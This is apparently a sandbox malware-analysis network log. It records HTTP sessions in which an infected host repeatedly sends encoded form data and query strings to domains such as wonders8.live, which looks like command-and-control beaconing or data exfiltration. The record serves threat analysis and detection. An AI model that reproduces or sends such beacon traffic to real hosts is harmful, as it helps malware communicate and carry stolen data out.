Nov 5, 2024 15:38:00.851991892 CET	2578	OUT	Data Raw: 71 79 38 68 6c 6b 42 4f 48 54 46 72 63 51 43 39 75 70 38 57 39 50 39 2f 4c 5a 77 67 74 62 2f 49 6c 71 48 37 43 6b 58 2b 33 55 38 51 5a 32 67 71 77 4c 35 6b 32 6c 46 79 41 4d 42 52 71 43 75 52 43 66 32 4c 51 58 38 4a 52 36 44 6f 31 57 41 4f 36 4c Data Ascii: qy8hlkBOHTFrcQC9up8W9P9/LZwgtb/IlqH7CkX+3U8QZ2gqwL5k2lFyAMBRqCuRCf2LQX8JR6Do1WAO6LXkQkMGB6FjVwi1GTSBV02Te3eguyAhu1I4ium9nNlc5aVOnfrTfMb+EYH4eAGE5PxYZt5teFRPaasWSk6hkuAaKbmlmTYj4xyyo2VH9GCi/evrOMcaVsrX8IEC23UN878OB6tziGoa9xj1piXftBVz0ga5jgaM1K2
Nov 5, 2024 15:38:00.852045059 CET	4028	OUT	Data Raw: 55 42 7a 73 7a 73 71 57 5a 39 6d 4a 68 7a 53 4d 55 71 7a 59 66 33 54 4b 4b 6c 63 73 73 55 73 36 50 41 76 31 72 72 34 4e 2b 31 73 4c 44 67 37 7a 41 6a 75 79 76 33 76 31 4e 4d 42 49 77 6f 57 45 50 69 30 41 6d 79 63 71 45 38 4a 47 38 48 65 52 4a 50 Data Ascii: UBzszsqWZ9mJhzSMUqzYf3TKKlcssUs6PAv1rr4N+1sLDg7zAjuyv3v1NMBIwoWEPi0AmycqE8JG8HeRJPN02yxuilBLuRHeKfNi6yuNoDy7fvVp269bPnbD3f5r5zFoiNCE8r6lraCz6utdwkAxE8WTc0vOdSBZ9A19T0SNyvu3HPoUhvrRRfDhwOBTk3/NSZiOuPWBHlUkqHIA1wXYAqniskXoAN0j2PEKTdtkvhWkAZBAstt
Nov 5, 2024 15:38:01.040896893 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:38:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc(aL`!I> [TRUNCATED]
Nov 5, 2024 15:38:01.040944099 CET	317	IN	Data Raw: f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 27 07 2f 88 08 5d b8 dd 9d c3 da 74 74 30 c5 f1 c0 04 7b 7b cc 88 10 22 a1 98 47 c4 0f 38 8a c0 41 97 ae 98 04 90 82 7e c6 a8 8b de e5 5b 46 90 0d 8e 03 08 19 Data Ascii: wlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5LznQVT)F[EG{^kTs0N[JJ

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.20	49802	161.97.142.144	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:03.568806887 CET	457	OUT	GET /o2wj/?Q2_4=6LtjBDJj0uphlWGPUfsWns8NqP5UEL6FPz1cDqFjhhwngDvwQ5o3u1RN/IkqtEFfAoNcvBtCSqAXdbdyLf0jo5EGqFac5ns//rYVLRsufIrNIa29XQHyhaQ=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.030002832.xyz User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:38:03.760319948 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:38:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Nov 5, 2024 15:38:03.760343075 CET	1289	IN	Data Raw: 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 73 75 63 63 65 73 73 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 61 62 61 34 37 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 35 61 62 61 Data Ascii: ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707070;letter-spacing: -0.01em;font-size: 1.25
Nov 5, 2024 15:38:03.760349989 CET	592	IN	Data Raw: 37 20 30 2d 35 38 2e 30 30 32 2d 36 30 2e 31 36 35 2d 31 30 32 2d 31 31 36 2e 35 33 31 2d 31 30 32 7a 4d 32 35 36 20 33 33 38 63 2d 32 35 2e 33 36 35 20 30 2d 34 36 20 32 30 2e 36 33 35 2d 34 36 20 34 36 20 30 20 32 35 2e 33 36 34 20 32 30 2e 36 Data Ascii: 7 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"></path></svg></div><h1 class="animate__animated animate__fadeIn">Page Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.11.20	49803	119.18.54.27	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:09.226814032 CET	726	OUT	POST /44hl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.wonders8.live Origin: http://www.wonders8.live Referer: http://www.wonders8.live/44hl/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 35 6b 34 4b 64 72 2b 43 5a 63 37 4e 57 2f 4e 4d 38 69 4a 42 38 59 41 75 55 69 36 45 56 35 70 48 30 6c 54 39 72 77 68 4b 6f 55 71 34 30 6b 2f 68 52 55 53 78 72 4e 50 50 38 6a 4a 37 6c 78 5a 6a 30 4d 70 70 39 66 70 5a 64 46 42 47 68 6e 64 76 76 2f 51 37 77 4f 79 6c 58 57 6d 76 33 72 53 44 38 66 71 66 61 41 50 61 32 73 46 4f 56 52 6b 45 76 6d 30 53 69 52 63 32 6f 6e 4a 76 6b 2f 68 76 53 6c 33 6c 53 2b 66 4b 78 48 74 35 32 37 5a 31 63 6b 45 77 31 69 39 4d 66 6e 43 54 53 47 6c 33 49 71 6c 52 32 62 58 44 4b 36 54 5a 64 69 74 77 6e 59 34 74 6b 70 72 61 61 34 4a 53 54 53 70 4c 55 77 3d 3d Data Ascii: Q2_4=5k4Kdr+CZc7NW/NM8iJB8YAuUi6EV5pH0lT9rwhKoUq40k/hRUSxrNPP8jJ7lxZj0Mpp9fpZdFBGhndvv/Q7wOylXWmv3rSD8fqfaAPa2sFOVRkEvm0SiRc2onJvk/hvSl3lS+fKxHt527Z1ckEw1i9MfnCTSGl3IqlR2bXDK6TZditwnY4tkpraa4JSTSpLUw==
Nov 5, 2024 15:38:09.699775934 CET	643	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:09 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 358 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 [TRUNCATED] Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.11.20	49804	119.18.54.27	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:12.179430962 CET	746	OUT	POST /44hl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.wonders8.live Origin: http://www.wonders8.live Referer: http://www.wonders8.live/44hl/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 35 6b 34 4b 64 72 2b 43 5a 63 37 4e 4d 63 6c 4d 39 43 31 42 73 49 41 74 4b 53 36 45 50 4a 70 44 30 6b 76 39 72 78 6c 61 6f 69 36 34 30 46 50 68 41 6c 53 78 71 4e 50 50 6b 7a 4a 2b 72 52 5a 6f 30 4d 6c 68 39 64 74 5a 64 45 6c 47 68 6c 46 76 76 4d 34 38 77 65 79 72 61 32 6d 74 7a 72 53 44 38 66 71 66 61 44 7a 30 32 73 64 4f 56 42 55 45 70 48 30 64 73 78 63 31 69 48 4a 76 7a 76 68 72 53 6c 33 62 53 36 2b 52 78 45 5a 35 32 35 42 31 63 78 6f 7a 75 79 39 4f 56 48 44 41 66 6d 51 64 51 62 74 61 33 59 48 37 50 50 44 37 56 55 38 71 36 71 4d 4a 6e 36 33 6f 65 49 77 36 52 51 6f 51 4a 30 41 30 57 64 45 4a 69 6e 46 63 49 5a 44 33 6e 49 33 7a 66 74 55 3d Data Ascii: Q2_4=5k4Kdr+CZc7NMclM9C1BsIAtKS6EPJpD0kv9rxlaoi640FPhAlSxqNPPkzJ+rRZo0Mlh9dtZdElGhlFvvM48weyra2mtzrSD8fqfaDz02sdOVBUEpH0dsxc1iHJvzvhrSl3bS6+RxEZ525B1cxozuy9OVHDAfmQdQbta3YH7PPD7VU8q6qMJn63oeIw6RQoQJ0A0WdEJinFcIZD3nI3zftU=
Nov 5, 2024 15:38:12.661990881 CET	643	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 358 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 [TRUNCATED] Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.11.20	49805	119.18.54.27	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:15.146502972 CET	2578	OUT	POST /44hl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.wonders8.live Origin: http://www.wonders8.live Referer: http://www.wonders8.live/44hl/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 35 6b 34 4b 64 72 2b 43 5a 63 37 4e 4d 63 6c 4d 39 43 31 42 73 49 41 74 4b 53 36 45 50 4a 70 44 30 6b 76 39 72 78 6c 61 6f 69 79 34 30 58 33 68 52 32 36 78 34 39 50 50 36 6a 4a 2f 72 52 5a 70 30 4d 4e 6c 39 64 68 76 64 48 4e 47 6e 41 5a 76 74 39 34 38 37 65 79 72 46 6d 6d 73 33 72 53 57 38 66 61 62 61 41 62 30 32 73 64 4f 56 44 63 45 71 57 30 64 68 52 63 32 6f 6e 4a 5a 6b 2f 68 44 53 6b 53 6a 53 36 37 6b 32 33 42 35 33 5a 52 31 62 48 63 7a 69 79 39 49 53 48 43 48 66 6d 4d 47 51 62 68 73 33 63 50 52 50 49 66 37 51 44 64 48 6a 34 45 4b 6d 35 33 33 43 34 73 48 52 67 6b 34 41 32 45 30 66 73 73 34 39 51 49 4a 50 49 66 76 2f 37 76 6f 42 72 77 51 43 37 55 6e 71 57 59 59 4b 39 2f 55 7a 78 73 30 4b 70 30 76 39 36 39 33 73 48 59 64 72 68 41 7a 4d 6f 47 2f 74 44 4a 77 79 77 34 53 53 75 70 6f 63 6c 73 37 72 45 64 66 44 6e 4e 4e 74 64 5a 76 39 42 6d 35 37 35 48 50 68 56 44 34 73 72 2f 6e 54 56 62 36 75 56 43 70 55 77 33 45 67 49 50 41 46 4e 6b 44 42 38 4b 59 53 66 44 73 79 51 55 36 76 48 78 74 75 [TRUNCATED] Data Ascii: Q2_4=5k4Kdr+CZc7NMclM9C1BsIAtKS6EPJpD0kv9rxlaoiy40X3hR26x49PP6jJ/rRZp0MNl9dhvdHNGnAZvt9487eyrFmms3rSW8fabaAb02sdOVDcEqW0dhRc2onJZk/hDSkSjS67k23B53ZR1bHcziy9ISHCHfmMGQbhs3cPRPIf7QDdHj4EKm533C4sHRgk4A2E0fss49QIJPIfv/7voBrwQC7UnqWYYK9/Uzxs0Kp0v9693sHYdrhAzMoG/tDJwyw4SSupocls7rEdfDnNNtdZv9Bm575HPhVD4sr/nTVb6uVCpUw3EgIPAFNkDB8KYSfDsyQU6vHxtuj02wQFBsHsHw41+KQyqtJDmkoLJHoytF+prb16vAqZGP6GeOYaXsoTPICiukS71EspXIwq7wbk61tjDJwietHJ/yS5wMylCKQb8QzPgvmKOWtfvOlGRTAgN8oVihlYv0i+j/iwycPunAikd736reL5CfBv46nBoE1uVf6kVJEY34a111gTt4w+NKgNzB6M11fgLF/292J7vND9mtKJoCpRnj+vJp3ZaqSZIAYCndFrVluWEHSFm2946aDO+nIXcvIkUPg/ewAxTqlPPit4QJqlb0OwCctt4G+60C8SVOEiEGrWQdaUY5Zk3fE+2eKK0Ej1cF8sk06cHQLGhl6at/hXi0c6yVNARmAAWkhtKXtWn2EyoPzAnhzcn/ULE4RFVwEacE/YT6dAw5JNW//vs8W1M/zDza9Ns9d2uWFPHX6CAoRZr4VIwPzQzYrdgCBr3nHOCmimUVS5gJ4onJIsoZEgASYbfilS00AxVJ24jHtBdOS8lnI5ClWGr+akczWtV14ruwwfD+weMzPkIDqPyblDKidVXIyAM0VKs06b71VCLXWZ8DxvmMGB/w60ZZeBmcME9Blx4G8NkycAGzCl2flyDsJeOvSVMqK7KpjXiF4b15hy1qzlrww+x6Gx2gpbQfd9rJZkcB/QBK7CizP3ul1P6NIC1NvByaVP [TRUNCATED]
Nov 5, 2024 15:38:15.146568060 CET	5317	OUT	Data Raw: 55 6b 4e 59 6a 4e 33 42 52 6f 72 6d 6c 47 45 4f 41 30 34 71 41 2f 67 4d 6b 75 34 63 70 65 33 5a 76 35 47 4e 64 54 4d 57 32 37 67 6a 39 64 4d 38 45 46 2b 59 2b 61 57 5a 42 34 62 36 53 32 7a 44 6e 45 55 79 47 61 6f 7a 77 48 76 47 47 78 4f 43 62 53 Data Ascii: UkNYjN3BRormlGEOA04qA/gMku4cpe3Zv5GNdTMW27gj9dM8EF+Y+aWZB4b6S2zDnEUyGaozwHvGGxOCbSd4EYknGHRKJgJ1ZOIJ/YuVed8D3OzKoL3n4X8xr4OVQ0GbGLQMwVP0ZC+TY9uuz5EEuv8WXqqnTjFpRtVhJgP1+YgeQn7fBAcPyiTdshHrefWJpSh86b3sBXG+smwgaLnwDaS6V2Mf9B9wN2J1Mb/aQFGra5/ljd5
Nov 5, 2024 15:38:15.584599972 CET	643	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 358 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 [TRUNCATED] Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.11.20	49806	119.18.54.27	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:18.127055883 CET	457	OUT	GET /44hl/?Q2_4=0mQqee+UGJnUA/Yx1BcY9bAABUibbqUVx0XTpT1xrmayiD/fNEmP8Z3r8TZ3vglxtN5riIpUZVEdwgctiqwj4JSuSDuD97XK84LsZQ3P19o3XG1/uWMy0C8=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.wonders8.live User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:38:18.595443964 CET	844	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:18 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a [TRUNCATED] Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script language="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.11.20	49807	195.110.124.133	80

Timestamp	Bytes transferred	Direction	Data
